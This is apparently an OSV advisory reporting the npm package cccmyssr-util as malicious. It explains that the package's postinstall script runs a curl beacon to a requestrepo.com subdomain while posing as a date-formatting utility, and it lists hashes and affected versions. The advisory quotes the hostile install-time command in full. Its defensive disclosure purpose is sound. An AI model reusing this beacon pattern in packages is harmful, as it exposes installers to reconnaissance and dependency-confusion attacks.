MAL-2026-6390

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/cccmyssr-util/MAL-2026-6390.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-6390
Published
2026-06-24T14:07:30Z
Modified
2026-06-24T15:18:03Z
Summary
Malicious code in cccmyssr-util (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (99d23c8f1194f89f1b52e986cd57ca9c0fbd739a6565eb33c972f4fbaf0966e7)

On npm install, the package's postinstall.js unconditionally executes exec('curl http://qvmjcw4s.requestrepo.com'), sending an HTTP callback to a unique subdomain on requestrepo.com — a public out-of-band HTTP/DNS interaction service commonly used to confirm successful code execution on a target. The callback discloses the installer's public IP and a successful-install signal to the listener controlled by whoever registered the subdomain. The package presents itself as a trivial date-formatting utility (index.js exports a one-line formatDate), with empty author metadata and a generic A harmless utility package description; there is no legitimate rationale for any install-time network I/O. The cover-story metadata combined with an unconditional install-time beacon to an OOB inspection endpoint matches the reconnaissance/dependency-confusion probe pattern.

Database specific 
{
    "malicious-packages-origins": [
        {
            "id": "IN-MAL-2026-007439",
            "import_time": "2026-06-24T15:01:18.083236482Z",
            "modified_time": "2026-06-24T14:07:30Z",
            "sha256": "99d23c8f1194f89f1b52e986cd57ca9c0fbd739a6565eb33c972f4fbaf0966e7",
            "source": "amazon-inspector",
            "versions": [
                "1.0.0"
            ]
        }
    ]
}
References
Credits

Affected packages

npm / cccmyssr-util

Package

Name
cccmyssr-util
View open source insights on deps.dev
Purl
pkg:npm/cccmyssr-util

Affected ranges

Affected versions

1.*
1.0.0

Database specific

cwes 
[
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    }
]
indicators 
{
    "evidence_files": [
        {
            "path": "postinstall.js",
            "sha256": "ef5f8be81a78eb60e8080f85a6da5b3732fe21ac0d59431bce2f9bf10bb26b49",
            "tlsh": "87b012d149410538fa00a290fcb08173a017c050311055e4d0844450004d1c72272dfe"
        },
        {
            "path": "package.json",
            "sha256": "6750e0cc8a4cd898be0b5a5026112ca5b39f709495f907dd5a61517065d105cf",
            "tlsh": "82d0a7244e22967339d45b5a1a17454675655d5b01247c1c1bd7241c53df3b384ff319"
        }
    ],
    "package_integrity": [
        {
            "filename": "cccmyssr-util-1.0.0.tgz",
            "hashes": {
                "sha1": "9716b27bde766b307aa4acad44269853b3a8be69",
                "sha512_sri": "sha512-4muIZ1EvPcG+QrT9BWFmBZ4gHHEWdK1ELqz8eYl7LKVVuvs+W2ZFcCTC+NUAkgSnuzO1WAywGm9kDygrkFNJ3g=="
            }
        }
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/cccmyssr-util/MAL-2026-6390.json"